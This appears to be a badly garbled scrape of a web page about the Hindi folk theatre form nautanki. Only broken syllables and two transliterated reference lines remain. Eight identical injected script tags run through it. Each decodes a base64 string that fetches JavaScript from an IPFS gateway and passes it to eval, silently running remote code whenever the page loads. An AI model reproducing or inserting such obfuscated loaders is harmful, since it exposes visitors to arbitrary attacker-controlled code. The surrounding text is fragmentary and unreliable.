<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] ri lok vidha nautanki (hindi). . abhigaman tithi: 10 faravari, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] ri lok vidha nautanki (hindi). . abhigaman tithi: 10 faravari, 2012.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

[2]